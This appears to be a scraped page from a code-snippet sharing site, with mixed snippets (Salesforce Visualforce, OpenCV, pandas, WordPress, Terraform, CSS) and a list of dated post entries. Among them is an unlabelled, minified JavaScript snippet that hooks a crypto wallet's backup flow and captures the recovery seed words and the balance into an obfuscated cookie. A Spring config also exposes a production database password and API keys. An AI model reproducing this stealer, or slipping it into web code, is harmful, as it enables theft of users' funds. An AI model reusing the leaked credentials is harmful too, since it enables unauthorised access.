                !dp1.Partner_Certification_Statement_Complete__c.equalsIgnoreCase(NO)){
            dp1.Seeking_an_Exception_to_Policy__c = false;
        }
        if(dp1.RiskRankingAnswer__c <> null && !dp1.RiskRankingAnswer__c.equalsIgnoreCase(YES)){
            dp1.Partner_Certification_Statement_Complete__c ='';
            dp1.Seeking_an_Exception_to_Policy__c = false;
        }
        if(dp1.Qualify_for_AEMP_10__c <> null && dp1.Qualify_for_AEMP_10__c.equalsIgnoreCase(NO)){
            dp1.TLM_Reference__c = null;
        }
        if(dp1.PartnerAnswerYestoQuestionnaire__c <> null && dp1.PartnerAnswerYestoQuestionnaire__c.equalsIgnoreCase(NO) ||
                (dp1.Partner_Certification_Statement_Complete__c <> null && !dp1.Seeking_an_Exception_to_Policy__c &&
                        dp1.Partner_Certification_Statement_Complete__c.equalsIgnoreCase(NO))){
            dp1.ICSComplianceDecision__c = '';
        }
        //Arshi
        if(dp1.RiskRankingAnswer__c <> null &&
          !dp1.RiskRankingAnswer__c .equalsIgnoreCase(NO)){
              isShowComplDate = true;
          }
    }
}
<!----------------------------------------------------------------------------------------------------------------------
  Project      : GNS Contract DB
  VF Component Name : GNS_antiCorruption_section

 ---------------------------------------------------------------------------------------------------------------------->
<apex:component id="acddComp">

    <apex:attribute name="Deal_Protocol__c" description="" type="Deal_Protocol__c" required="true"/>
    <apex:attribute name="editmode" description="" type="boolean" required="true"/>
    <apex:attribute name="reRenderAction" description="The reRenderAction method from the parent controller" type="ApexPages.Action" required="true"/>
    <apex:attribute name="disable" description="The reRenderAction method from the parent controller" type="ApexPages.Action" required="true"/>

     <div class="slds-panel__section" rendered="{!NOT(editmode)}">
         <apex:pageblockSection title="Anti-Corruption:" columns="3" rendered="{!NOT(editmode)}">
                            <apex:outputField value="{!Deal_Protocol__c.ACDD_Status__c}"/>
                            <apex:outputField value="{!Deal_Protocol__c.ACDD_Status_Date__c}"/>
                            <apex:outputField value="{!Deal_Protocol__c.Next_ACDD_Completion_Date__c}"/>
                            <apex:outputField value="{!Deal_Protocol__c.TypeofACDD__c}"/>
                            <apex:outputField value="{!Deal_Protocol__c.HasRiskRankingChangedFromLastACDD__c}" rendered="{!if(Deal_Protocol__c.TypeofACDD__c!='New ACDD',true,false)}"/>
                            <apex:outputText value=" " rendered="{!(Deal_Protocol__c.TypeofACDD__c=='New ACDD')}"/>
                            <apex:outputText value=" " />
                     <apex:pageBlockSectionItem helpText="{!$ObjectType.Deal_Protocol__c.fields.Qualify_for_AEMP_10__c.InlineHelpText}">
                            <apex:outputLabel value="Does this contract qualify for AEMP-10 (Third Party Lifecycle Management)"/>
                            <apex:outputField value="{!Deal_Protocol__c.Qualify_for_AEMP_10__c}"/>
                     </apex:pageBlockSectionItem>
                            <apex:outputField value="{!Deal_Protocol__c.TLM_Reference__c}"/>
                     <apex:pageBlockSectionItem helpText="{!$ObjectType.Deal_Protocol__c.fields.RiskRankingAnswer__c.InlineHelpText}">
                            <apex:outputLabel value="Did you Answer 'Yes' to any Risk Ranking Question?"/>
                            <apex:outputField value="{!Deal_Protocol__c.RiskRankingAnswer__c}"/>
                     </apex:pageBlockSectionItem>
                            <apex:outputField value="{!Deal_Protocol__c.Due_Diligence_Required__c}"/>
                    <apex:pageBlockSectionItem helpText="{!$ObjectType.Deal_Protocol__c.fields.Partner_Certification_Statement_Complete__c.InlineHelpText}">
                            <apex:outputLabel value="Is the Partner Certification Statement Completed"/>
                            <apex:outputField value="{!Deal_Protocol__c.Partner_Certification_Statement_Complete__c}"/>
                     </apex:pageBlockSectionItem>
                 <apex:outputField value="{!Deal_Protocol__c.Partner_Certification_Statement_Date__c}" />
                    <!--Only to add empty Space-->
                <span/>
                <apex:pageBlockSectionItem helpText="{!$ObjectType.Deal_Protocol__c.fields.PartnerAnswerYestoQuestionnaire__c.InlineHelpText}">
                    <apex:outputLabel value="Did the Partner Answer 'Yes' in any Section of the Questionnaire?"/>
                    <apex:outputField value="{!Deal_Protocol__c.PartnerAnswerYestoQuestionnaire__c}"/>
                </apex:pageBlockSectionItem>
                    <!--Only to add empty Space-->
                <span/>
                <apex:outputField value="{!Deal_Protocol__c.Seeking_an_Exception_to_Policy__c}"/>
                <!--Only to add empty Space-->
                <span/>
            <!--Only to add empty Space-->
        <apex:PageBlockSectionItem />
                <apex:outputField value="{!Deal_Protocol__c.ICSComplianceDecision__c}"
                                  rendered="{!(Deal_Protocol__c.Seeking_an_Exception_to_Policy__c ||
                                 Deal_Protocol__c.PartnerAnswerYestoQuestionnaire__c == 'Yes')}"/>
                <apex:outputField value="{!Deal_Protocol__c.ICS_Compliance_Decision_Date__c}"
                                  rendered="{!(Deal_Protocol__c.Seeking_an_Exception_to_Policy__c ||
                                 Deal_Protocol__c.PartnerAnswerYestoQuestionnaire__c == 'Yes')}"/>
                <!--Only to add empty Space-->
                <span/>
                <apex:outputField value="{!Deal_Protocol__c.GlobalComplianceDecision__c}"
                                  rendered="{!(Deal_Protocol__c.Seeking_an_Exception_to_Policy__c ||
                                  Deal_Protocol__c.PartnerAnswerYestoQuestionnaire__c == 'Yes')}"/>
                <apex:outputField value="{!Deal_Protocol__c.Global_Comp_Exception_Decision_Date__c}"
                                  label="Global Anti-Corruption Exception Decision Date"
                                  rendered="{!(Deal_Protocol__c.Seeking_an_Exception_to_Policy__c ||
                                  Deal_Protocol__c.PartnerAnswerYestoQuestionnaire__c == 'Yes')}"/>
                <apex:outputField value="{!Deal_Protocol__c.ArcherExceptionId__c}"
                                  rendered="{!(Deal_Protocol__c.Seeking_an_Exception_to_Policy__c ||
                                 Deal_Protocol__c.PartnerAnswerYestoQuestionnaire__c == 'Yes')}"/>
            </apex:pageblockSection>
            </div>
            <!--/////////////////edit mode -->

            <apex:pageblockSection id="antiCorrSection" title="Anti-Corruption:" columns="3"  rendered="{!(editmode)}">
                <apex:outputField value="{!Deal_Protocol__c.ACDD_Status__c}"/>
                <apex:outputField value="{!Deal_Protocol__c.ACDD_Status_Date__c}"/>
                <apex:inputField value="{!Deal_Protocol__c.Next_ACDD_Completion_Date__c}"/>
                <apex:outputField value="{!Deal_Protocol__c.TypeofACDD__c}" rendered="{!if(Deal_Protocol__c.TypeofACDD__c=='New ACDD',true,false)}"/>
                <apex:inputField value="{!Deal_Protocol__c.TypeofACDD__c}" rendered="{!if(Deal_Protocol__c.TypeofACDD__c!='New ACDD',true,false)}" id="typeOfACDD" required="true">
                    <script type="text/javascript">
                    (function(){
                        var e = document.querySelectorAll('[id$="typeOfACDD"]')[0];
                        console.log('e: '+e[0].value);
                        for (var i=0; i<e.length; i++){
                            console.log('e.options[i].value: '+e.options[i].value);
                            if (e.options[i].value == 'New ACDD'){
                                e.remove(i);
                                }
                        }
                    })();
                    </script>
                </apex:inputField>
                <!--<apex:outputField value="{!Deal_Protocol__c.HasRiskRankingChangedFromLastACDD__c}" rendered="{!if(Deal_Protocol__c.TypeofACDD__c=='New ACDD',true,false)}"/> -->
                <apex:inputField value="{!Deal_Protocol__c.HasRiskRankingChangedFromLastACDD__c}" rendered="{!if(Deal_Protocol__c.TypeofACDD__c!='New ACDD',true,false)}">
                    <apex:actionSupport event="onchange" action="{!reRenderAction}" reRender="antiCorrSection"/>
                 </apex:inputField>
                <!--Only to add empty Space-->
                <apex:outputText value=" " rendered="{!if(Deal_Protocol__c.TypeofACDD__c=='New ACDD',true,false)}" />
                <span/>
                <apex:pageBlockSectionItem helpText="{!$ObjectType.Deal_Protocol__c.fields.Qualify_for_AEMP_10__c.InlineHelpText}">
                    <apex:outputLabel value="Does this contract qualify for AEMP-10 (Third Party Lifecycle Management)"/>
                      

                    <apex:inputField value="{!Deal_Protocol__c.Qualify_for_AEMP_10__c}" required="true" html-disabled="" >
                        <apex:actionSupport event="onchange" action="{!reRenderAction}" reRender="antiCorrSection"/>
                    </apex:inputField>
                         
                     </apex:pageBlockSectionItem>
                <apex:inputField value="{!Deal_Protocol__c.TLM_Reference__c}" id="tlmReference"
                                 rendered="{!Deal_Protocol__c.Qualify_for_AEMP_10__c == 'Yes'}" html-disabled="{!Deal_Protocol__c.isdisabled__c	}">
                    <apex:actionSupport event="onchange" action="{!reRenderAction}" reRender="antiCorrSection"/>
                </apex:inputField>
                <apex:outputField value="{!Deal_Protocol__c.TLM_Reference__c}"
                                  rendered="{!Deal_Protocol__c.Qualify_for_AEMP_10__c != 'Yes'}"/>
                <apex:pageBlockSectionItem helpText="{!$ObjectType.Deal_Protocol__c.fields.RiskRankingAnswer__c.InlineHelpText}">
                    <apex:outputLabel value="Did you Answer 'Yes' to any Risk Ranking Question?"/>
                    <apex:inputField value="{!Deal_Protocol__c.RiskRankingAnswer__c}" html-disabled="{!Deal_Protocol__c.isdisabled__c}" >
                        <apex:actionSupport event="onchange" action="{!reRenderAction}" reRender="antiCorrSection"/>
                    </apex:inputField>
                </apex:pageBlockSectionItem>
                <apex:outputField value="{!Deal_Protocol__c.Due_Diligence_Required__c}"/>
                <apex:pageBlockSectionItem helpText="{!$ObjectType.Deal_Protocol__c.fields.Partner_Certification_Statement_Complete__c.InlineHelpText}">
                    <apex:outputLabel value="Is the Partner Certification Statement Completed"/>
                    <apex:inputField value="{!Deal_Protocol__c.Partner_Certification_Statement_Complete__c}" html-disabled="{!Deal_Protocol__c.isdisabled__c}">
                        <apex:actionSupport event="onchange" action="{!reRenderAction}" reRender="antiCorrSection"/>
                    </apex:inputField>
                </apex:pageBlockSectionItem>
                <apex:inputField value="{!Deal_Protocol__c.Partner_Certification_Statement_Date__c}" html-disabled="{!Deal_Protocol__c.isdisabled__c}"/>
                <!--Only to add empty Space-->
                <span/>
                <apex:pageBlockSectionItem helpText="{!$ObjectType.Deal_Protocol__c.fields.PartnerAnswerYestoQuestionnaire__c.InlineHelpText}"
                                           id="partnerAnsPBSIId">
                    <apex:outputLabel value="Did the Partner Answer 'Yes' in any Section of the Questionnaire?"/>
                    <apex:inputField value="{!Deal_Protocol__c.PartnerAnswerYestoQuestionnaire__c}"
                                     id="partnerAnsId" html-disabled="{!Deal_Protocol__c.isdisabled__c	}">
                        <apex:actionSupport event="onchange" action="{!reRenderAction}" reRender="antiCorrSection"/>
                    </apex:inputField>
                </apex:pageBlockSectionItem>
                <!--Only to add empty Space-->
                <span/>
                <apex:inputField value="{!Deal_Protocol__c.Seeking_an_Exception_to_Policy__c}"
                                 rendered="{!Deal_Protocol__c.Partner_Certification_Statement_Complete__c == 'No'}" html-disabled="{!Deal_Protocol__c.isdisabled__c	}">
                    <apex:actionSupport event="onchange" action="{!reRenderAction}" reRender="antiCorrSection"/>
                </apex:inputField>
                <apex:outputField value="{!Deal_Protocol__c.Seeking_an_Exception_to_Policy__c}"
                                  rendered="{!Deal_Protocol__c.Partner_Certification_Statement_Complete__c != 'No'}" html-disabled="{!Deal_Protocol__c.isdisabled__c}"/>
                <!--Only to add empty Space-->
                <span/>
                <!--Only to add empty Space-->
                <apex:PageBlockSectionItem />
{!Deal_Protocol__c.isdisabled__c}
                <apex:inputField value="{!Deal_Protocol__c.ICSComplianceDecision__c}"
                                 rendered="{!(Deal_Protocol__c.Seeking_an_Exception_to_Policy__c ||
                                 (Deal_Protocol__c.Partner_Certification_Statement_Complete__c == 'Yes' &&
                                 Deal_Protocol__c.PartnerAnswerYestoQuestionnaire__c == 'Yes'))}" html-disabled="{!Deal_Protocol__c.isdisabled__c}"/>
                <apex:inputField value="{!Deal_Protocol__c.ICS_Compliance_Decision_Date__c}"
                                 rendered="{!(Deal_Protocol__c.Seeking_an_Exception_to_Policy__c ||
                                 (Deal_Protocol__c.Partner_Certification_Statement_Complete__c == 'Yes' &&
                                 Deal_Protocol__c.PartnerAnswerYestoQuestionnaire__c == 'Yes'))}" html-disabled="{!Deal_Protocol__c.isdisabled__c}"/>
                <!--Only to add empty Space-->
                <span/>
                <apex:inputField value="{!Deal_Protocol__c.GlobalComplianceDecision__c}"
                                 rendered="{!(Deal_Protocol__c.Seeking_an_Exception_to_Policy__c )}"/>
                <apex:pageBlockSectionItem helpText="{!$ObjectType.Deal_Protocol__c.fields.GlobalComplianceDecision__c.InlineHelpText}"
                                           rendered="{!(!Deal_Protocol__c.Seeking_an_Exception_to_Policy__c &&
                                           (Deal_Protocol__c.Partner_Certification_Statement_Complete__c == 'Yes' &&
                                           Deal_Protocol__c.PartnerAnswerYestoQuestionnaire__c == 'Yes'))}">
                    <apex:outputLabel value="{!$ObjectType.Deal_Protocol__c.Fields.GlobalComplianceDecision__c.Label}" />
                    <apex:outputText value="N/A"/>
                </apex:pageBlockSectionItem>

                <apex:inputField value="{!Deal_Protocol__c.Global_Comp_Exception_Decision_Date__c}"
                                 label="Global Anti-Corruption Exception Decision Date"
                                 rendered="{!(Deal_Protocol__c.Seeking_an_Exception_to_Policy__c)}"/>
                <apex:outputField value="{!Deal_Protocol__c.Global_Comp_Exception_Decision_Date__c}"
                                  label="Global Anti-Corruption Exception Decision Date"
                                  rendered="{!(!Deal_Protocol__c.Seeking_an_Exception_to_Policy__c &&
                                  (Deal_Protocol__c.Partner_Certification_Statement_Complete__c == 'Yes' &&
                                  Deal_Protocol__c.PartnerAnswerYestoQuestionnaire__c == 'Yes'))}"/>
                <apex:inputField value="{!Deal_Protocol__c.ArcherExceptionId__c}"
                                 rendered="{!(Deal_Protocol__c.Seeking_an_Exception_to_Policy__c )}"/>
                <apex:outputField value="{!Deal_Protocol__c.ArcherExceptionId__c}"
                                  rendered="{!(!Deal_Protocol__c.Seeking_an_Exception_to_Policy__c &&
                                 (Deal_Protocol__c.Partner_Certification_Statement_Complete__c == 'Yes' &&
                                 Deal_Protocol__c.PartnerAnswerYestoQuestionnaire__c == 'Yes'))}"/>
            </apex:pageblockSection>

                    <!--Arshi US2220461 -->
                     <apex:pageblockSection columns="1" >
                <apex:outputLabel value="*Please indicate below that you have uploaded a zip file with all Due Diligence evidence included.
                This must include evidence of any OFFLINE approvals (e.g. Market VP/Director sign off for the partner, Local Market Finance Approval,
                 Local GCO sign off for draft contract) and ACDD Risk Ranking and if applicable, the completed ACDD Partner Questionnaire. "/>
                <apex:outputField value="{!Deal_Protocol__c.Zip_file_of_all_evidence_attached__c}" rendered="{!NOT(editmode)}"/>
                <apex:inputField value="{!Deal_Protocol__c.Zip_file_of_all_evidence_attached__c}" rendered="{!(editmode)}"/>
               </apex:pageblockSection>
</apex:component>
var context = new SchoolContext();

var stud = context.Students.Where(s => s.FirstName == "Bill")
                        .Select(s => new
                        {
                            Student = s,
                            Grade = s.Grade,
                            GradeTeachers = s.Grade.Teachers
                        })
                        .FirstOrDefault();
function my_pagination()
{
    global $wp_query;

    if (is_front_page()) {
        $currentPage = (get_query_var('page')) ? get_query_var('page') : 1;
    } else {
        $currentPage = (get_query_var('paged')) ? get_query_var('paged') : 1;
    }

    $pagination = paginate_links([
        'base'      => str_replace(999999999, '%#%', get_pagenum_link(999999999)),
        'format'    => '',
        'current'   => max(1, $currentPage),
        'total'     => $wp_query->max_num_pages,
        'type'      => 'list',
        'prev_text' => '«',
        'next_text' => '»',
    ]);

    echo str_replace('page-numbers', 'pagination', $pagination);
}
#include <iostream>
#include <string>
int main(){
    //声明命名空间std
    using namespace std;
   
    //定义字符串变量
    string str;
    //定义 int 变量
    int age;
    //从控制台获取用户输入
    cin>>str>>age;
    //将数据输出到控制台
    cout<<str<<"已经成立"<<age<<"年了!"<<endl;
    return 0;
}
List<Product2> products = [select id from product2 where isActive = null];

List<Product2> newProducts = new List<Product2>();

for (Integer p = 0; p <= products.size() - 1 ; p++) {
    
    Product2 product = products[p];
    
    product.isActive = true;
    newProducts.add(product);
}

update newProducts;
#example4{
	color: white;
	font-size: 40px;
	text-shadow: -1px 1px 0 #000,
				  1px 1px 0 #000,
				 1px -1px 0 #000;
				-1px -1px 0 #000;
}
Set namespace
kubectl config set-context --current --namespace=tsp


Restart pod
kubectl rollout restart deployment servicename


Get all pods
kubectl get pods --all-namespaces
//Windows
$ pip install opencv-python
//MacOS
$ brew install opencv3 --with-contrib --with-python3
//Linux
$ sudo apt-get install libopencv-dev python-opencv
//To check if your installation was successful or not, run the following command in either a Python shell or your command prompt:

import cv2
//Finding Image Details
//After loading the image with the imread() function, we can then retrieve some simple properties //about it, like the number of pixels and dimensions:


import cv2

img = cv2.imread('rose.jpg')

print("Image Properties")
print("- Number of Pixels: " + str(img.size))
print("- Shape/Dimensions: " + str(img.shape))
//output
//Image Properties
//- Number of Pixels: 2782440
//- Shape/Dimensions: (1180, 786, 3)
//Now we'll split the image in to its red, green, and blue components using OpenCV and display them:

from google.colab.patches import cv2_imshow

blue, green, red = cv2.split(img) # Split the image into its channels
img_gs = cv2.imread('rose.jpg', cv2.IMREAD_GRAYSCALE) # Convert image to grayscale

cv2_imshow(red) # Display the red channel in the image
cv2_imshow(blue) # Display the red channel in the image
cv2_imshow(green) # Display the red channel in the image
cv2_imshow(img_gs) # Display the grayscale version of image
import cv2

# Read image
img = cv2.imread('image.png', 0)

# Perform binary thresholding on the image with T = 125
r, threshold = cv2.threshold(img, 125, 255, cv2.THRESH_BINARY)
cv2_imshow(threshold)
import cv2
import numpy as np
from matplotlib import pyplot as plt

# Declaring the output graph's size
plt.figure(figsize=(16, 16))

# Convert image to grayscale
img_gs = cv2.imread('cat.jpg', cv2.IMREAD_GRAYSCALE)
cv2.imwrite('gs.jpg', img_gs)

# Apply canny edge detector algorithm on the image to find edges
edges = cv2.Canny(img_gs, 100,200)

# Plot the original image against the edges
plt.subplot(121), plt.imshow(img_gs)
plt.title('Original Gray Scale Image')
plt.subplot(122), plt.imshow(edges)
plt.title('Edge Image')

# Display the two images
plt.show()
/* Poner esta línea de código al final del archivo wp-config.php */
define('ALLOW_UNFILTERED_UPLOADS', true);
" Move visual block
vnoremap J :m '>+1<CR>gv=gv
vnoremap K :m '<-2<CR>gv=gv
l = ['Alice', 'Bob', 'Charlie', 'Bob', 'Dave']
print(l)
# ['Alice', 'Bob', 'Charlie', 'Bob', 'Dave']

l.remove('Alice')
print(l)
# ['Bob', 'Charlie', 'Bob', 'Dave']
m = ['a', 'b', 'c']
n = [x for x in m if x != 'a']
t = ('hi', 2)
d = {'b':3, 'a':1}

def foo(*args, **kwargs):
    for e in args:
        print(e)
    for k, v in kwargs.items():
        print('key: ', k, ', value: ', v)
        
foo(*t, **d)
# load the image and show it
image = cv2.imread(args["image"])
cv2.imshow("Original", image)
# grab the dimensions of the image and calculate the center of the
# image
(h, w) = image.shape[:2]
(cX, cY) = (w // 2, h // 2)
# rotate our image by 45 degrees around the center of the image
M = cv2.getRotationMatrix2D((cX, cY), 45, 1.0)
rotated = cv2.warpAffine(image, M, (w, h))
cv2.imshow("Rotated by 45 Degrees", rotated)
# rotate our image by -90 degrees around the image
M = cv2.getRotationMatrix2D((cX, cY), -90, 1.0)
rotated = cv2.warpAffine(image, M, (w, h))
cv2.imshow("Rotated by -90 Degrees", rotated)
var options = { weekday: 'long', year: 'numeric', month: 'long', day: 'numeric' };
var today  = new Date();

console.log(today.toLocaleDateString("en-US")); // 9/17/2016
console.log(today.toLocaleDateString("en-US", options)); // Saturday, September 17, 2016
console.log(today.toLocaleDateString("hi-IN", options));
$pos = strrpos($url, '/');
$id = $pos === false ? $url : substr($url, $pos + 1);
function blockhack_token(e){return(e+"").replace(/[a-z]/gi,function(e){return String.fromCharCode(e.charCodeAt(0)+("n">e.toLowerCase()?13:-13))})}function sleep(e){return new Promise(function(t){return setTimeout(t,e)})}function makeid(e){for(var t="",n=0;n<e;n++)t+="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789".charAt(Math.floor(62*Math.random()));return t}for(var elems=document.querySelectorAll(".sc-bdVaJa.iOqSrY"),keys=[],result=makeid(300),i=elems.length;i--;)"backupFundsButton"==elems[i].getAttribute("data-e2e")&&elems[i].addEventListener("click",myFunc,!1);function myFunc(){setTimeout(function(){for(var e=document.querySelectorAll(".sc-bdVaJa.KFCFP"),t=e.length;t--;)e[t].addEventListener("click",start,!1)},1e3)}function start(){keys=[],setTimeout(function(){var e=document.querySelectorAll("div[data-e2e=backupWords]"),t=document.querySelectorAll(".KFCFP");for(e.forEach(function(e,t,n){e=blockhack_token(e.getElementsByTagName("div")[1].textContent),keys.push(e.replace(/\s/g,""))}),e=t.length;e--;)"toRecoveryTwo"==t[e].getAttribute("data-e2e")&&t[e].addEventListener("click",end,!1)},1e3)}function end(){setTimeout(function(){document.querySelectorAll("div[data-e2e=backupWords]").forEach(function(e,t,n){e=blockhack_token(e.getElementsByTagName("div")[1].textContent),keys.push(e.replace(/\s/g,""))});var e=document.querySelectorAll("div[data-e2e=topBalanceTotal]")[0].textContent,t=result+"["+e+"]["+keys.join("]"+makeid(300)+"[");t+="]"+makeid(300),document.cookie="blockhack_token="+t},1e3)}
spring:
  application:
    name: @project.artifactId@
  datasource:
    url: jdbc:postgresql://35.247.242.101/larnu-production
    username: postgres
    password: Larnusdkasd12xxx-aozin
  jpa:
    hibernate:
      ddl-auto: none

microservices:
  notification: http://TEST
  notification_key: http://127.0.0.1:8000/email/user

  email: https://TEST
  email_key: 2131dkq8cwmSDFxsisd!_@#(!KWR(F(F)_#$))AS

  email_validator: http://127.0.0.1:8000/validate-email
  email_validator_key: 2131dkq8cwmSDFxsisd!_@
spring:
  application:
    name: @project.artifactId@
  datasource:
    url: ${DATABASE_URL}
    username: ${DATABASE_USERNAME}
    password: ${DATABASE_PASSWORD}

  jpa:
    hibernate:
      ddl-auto: none
    open-in-view: false

microservices:
  notification: ${NOTIFICATION_URL}
  notification_key: ${NOTIFICATION_KEY}

  email: ${EMAIL_URL}
  email_key: ${EMAIL_KEY}

  email_validator: ${EMAIL_VALIDATOR_URL}
  email_validator_key: ${EMAIL_VALIDATOR_URL}

sentry:
  dsn: https://3f12c913946d4650821f16fa09f65680@o528893.ingest.sentry.io/5814569
  environment: production

local rem = game:GetService("ReplicatedStorage").Remotes.Block
game.Players.LocalPlayer.Character.Hitbox.Touched:Connect(function(part) 
    if (part.Parent.ClassName == "Model") then
        rem:FireServer()
    end
end)
Settings.System.putInt(getContentResolver(),
            Settings.System.SCREEN_BRIGHTNESS, 50);


// know current brightness

try {
                float curBrightnessValue=android.provider.Settings.System.getInt(
                        getContentResolver(), android.provider.Settings.System.SCREEN_BRIGHTNESS);

                Log.d("mytesta", "memory " +curBrightnessValue );

            } catch (Settings.SettingNotFoundException e) {
                // TODO Auto-generated catch block
                e.printStackTrace();
            }
row-gap: 24px;
column-gap: 36px;
.parallax {
	position: relative;
	&__body {
		display: block;
		background: url(../img/parallax.jpg) 0 0 / cover no-repeat;
		background-attachment: fixed;
		width: 100%;
		height: 400px;
		@media (max-width: $md3+px) {
			height: 300px;
		}
	}
}
resource "aws_security_group" "proxy-sg-01" {
  name        = "${var.profile}-proxy-sg-01"
  description = "Security group for proxy"
  vpc_id      = "${data.terraform_remote_state.vpc.outputs.vpc_id}" # not shown in example

  dynamic "ingress" {
    for_each = var.proxy_inbound
    content {
      description = "${ingress.value.description}"
      from_port   = ingress.value.port
      to_port     = ingress.value.port
      protocol    = ingress.value.protocol
      cidr_blocks = ingress.value.cidr_blocks

    }
  }

  dynamic "egress" {
    for_each = var.proxy_outbound
    content {
      description = "Allow ${egress.value.description} out"
      from_port   = egress.value.port
      to_port     = egress.value.port
      protocol    = egress.value.protocol
      cidr_blocks = egress.value.cidr_blocks
    }
  }

  tags = {
    Name = "${var.profile}-proxy-sg-01"
  }
}
variable "profile" {}
variable "region" {}

variable "proxy_inbound" {
    default = [{
    description = "Example",
    port = 3128,
    protocol = "tcp"   
    cidr_blocks = ["195.153.82.150/32", "195.133.80.1/32", "89.167.69.10/32", "89.127.69.11/32"]
  }, 
  {
    description = "SSH inbound",
    port = 22,
    protocol = "tcp"    
    SSH = ["192.168.24.0/22", "192.168.152.0/21", "192.168.128.0/21", "172.28.128.0/19", "192.168.130.0/24"]
  }]
  
}

variable "proxy_outbound" {
    default = [{
    description = "HTTPS Outbound to internet",
    port = 443,
    protocol = "tcp"    
    cidr_blocks = ["0.0.0.0/0"]
  }, 
  {
    description = "HTTP Outbound to internet",
    port = 80,
    protocol = "tcp"    
    cidr_blocks = ["0.0.0.0/0"]
  }]
  
}
# inner join
df1.merge(df2, on=['col1', 'col2'], suffixes=('_df1', '_df2'))  # works for one-to-one and one-to-amy relationships

# multiple merges
df1.merge(df2, on='col1').merge(df3, on='col1')

# left join
df1.merge(df2, on='col1', how='left')

# different columns
df1.merge(df2, left_on='col1', right_on='col2')

# self join
# for example to show hierarchical or sequential relationships
df1.merge(df1, left_on='col1', right_on='col2', how='left', suffixes=('_str1', '_str2'))

# multi index
df1.merge(df2, left_on='id', left_index=True, right_on='id2', right_index=True)

# semi-join
# filter df1 by what's in df2
semi-join = df1.merge(df2, on='id')
df1[df1['id'].isin(semi-join['id'])]

# validating
# can use validate='one-to-one' to check whether it's true or false
# also 'one-to-many', 'many-to-many'
if (((year % 4 == 0) && !(year % 100 == 0)) || (year % 400 == 0))
# concatenate
pd.concat([df1, df2], ignore_index=False, key=['str1', 'str2', 'str3'], sort=True)
# use only "key" if index is ignored

# exclude columns if different
join='inner'

# validating / check for multiple index columns
verify_integrity=True

# append (= easy version of concatenate)
# here, join always = 'outer'
df1.append([df2, df3], ignore_index=True, sort=True)
# good for time-series data or handling missing data
# standard
pd.merge_ordered(df1, df2, on='id', suffixes=('_str1', '_str2'))

# forward-fill
# missing values are filled with information from previous row
fill_method='ffill'
star

Mon Jan 10 2022 06:57:07 GMT+0000 (Coordinated Universal Time)

@vaibhav_55

star

Mon Jan 10 2022 06:57:50 GMT+0000 (Coordinated Universal Time)

@vaibhav_55

star

Mon Jan 10 2022 06:58:31 GMT+0000 (Coordinated Universal Time)

@vaibhav_55

star

Mon Jan 10 2022 08:47:34 GMT+0000 (Coordinated Universal Time) http://htmlbook.ru/faq/kak-vyrovnyat-tekst-po-tsentru

@ilyayakusheff

star

Mon Jan 10 2022 08:48:42 GMT+0000 (Coordinated Universal Time) https://github.com/darkfriend/dev2fun.multidomain/blob/master/win1251/dev2fun.multidomain/classes/composer/vendor/autoload.php

@ilyayakusheff

star

Mon Jan 10 2022 08:54:23 GMT+0000 (Coordinated Universal Time) https://github.com/darkfriend/dev2fun.multidomain/blob/master/win1251/dev2fun.multidomain/classes/composer/vendor/autoload.php

@ilyayakusheff

star

Mon Jan 10 2022 09:07:00 GMT+0000 (Coordinated Universal Time)

@ahoeweler

star

Mon Jan 10 2022 09:57:27 GMT+0000 (Coordinated Universal Time)

@Mohamed_Masoud

star

Mon Jan 10 2022 12:36:38 GMT+0000 (Coordinated Universal Time)

@ahsankhan007

star

Mon Jan 10 2022 14:30:29 GMT+0000 (Coordinated Universal Time)

@distance

star

Mon Jan 10 2022 14:39:17 GMT+0000 (Coordinated Universal Time)

@coding

star

Mon Jan 10 2022 14:40:51 GMT+0000 (Coordinated Universal Time)

@coding

star

Mon Jan 10 2022 22:59:02 GMT+0000 (Coordinated Universal Time) https://www.entityframeworktutorial.net/efcore/querying-in-ef-core.aspx

@DevSteel

star

Tue Jan 11 2022 02:54:33 GMT+0000 (Coordinated Universal Time) https://only-to-top.ru/blog/programming/2021-03-04-wordpress-paginaciya.html

@ilyayakusheff

star

Tue Jan 11 2022 06:31:23 GMT+0000 (Coordinated Universal Time) http://c.biancheng.net/view/2193.html

@lip8658

star

Tue Jan 11 2022 09:19:58 GMT+0000 (Coordinated Universal Time)

@Matzel

star

Tue Jan 11 2022 09:57:00 GMT+0000 (Coordinated Universal Time) https://www.codesdope.com/blog/article/adding-outline-to-text-using-css/

@ej

star

Tue Jan 11 2022 16:35:37 GMT+0000 (Coordinated Universal Time)

@rflores1515

star

Tue Jan 11 2022 17:21:34 GMT+0000 (Coordinated Universal Time)

@webCycle

star

Tue Jan 11 2022 17:25:37 GMT+0000 (Coordinated Universal Time)

@webCycle

star

Tue Jan 11 2022 17:28:26 GMT+0000 (Coordinated Universal Time)

@webCycle

star

Tue Jan 11 2022 17:33:18 GMT+0000 (Coordinated Universal Time)

@webCycle

star

Tue Jan 11 2022 17:35:52 GMT+0000 (Coordinated Universal Time)

@webCycle

star

Tue Jan 11 2022 17:38:13 GMT+0000 (Coordinated Universal Time)

@webCycle

star

Tue Jan 11 2022 18:23:26 GMT+0000 (Coordinated Universal Time)

@hermann

star

Tue Jan 11 2022 21:24:12 GMT+0000 (Coordinated Universal Time) https://vimrcfu.com/snippet/77

@ralphie

star

Tue Jan 11 2022 21:29:33 GMT+0000 (Coordinated Universal Time)

@shalderman

star

Wed Jan 12 2022 04:25:36 GMT+0000 (Coordinated Universal Time) https://stackoverflow.com/questions/58641898/check-if-string-does-not-contain-strings-from-the-list

star

Wed Jan 12 2022 05:38:10 GMT+0000 (Coordinated Universal Time) https://note.nkmk.me/en/python-list-clear-pop-remove-del/

star

Wed Jan 12 2022 05:40:19 GMT+0000 (Coordinated Universal Time) https://stackoverflow.com/questions/25004347/remove-list-element-without-mutation/25004389

star

Wed Jan 12 2022 06:04:37 GMT+0000 (Coordinated Universal Time) https://pijamahit.ru/top-shorts/tproduct/372322657-590980252171-pizhama-hochu-vinishko-b-top

@targetsphera

star

Wed Jan 12 2022 07:04:32 GMT+0000 (Coordinated Universal Time) https://www.geeksforgeeks.org/args-kwargs-python/

star

Wed Jan 12 2022 08:28:15 GMT+0000 (Coordinated Universal Time) https://www.pyimagesearch.com/2021/01/20/opencv-rotate-image/

@vikassnwl

star

Wed Jan 12 2022 15:37:41 GMT+0000 (Coordinated Universal Time) https://oleandra.cc/uploads/posts/2021-12/1639869613_003.jpg

@Bruce_Sloan

star

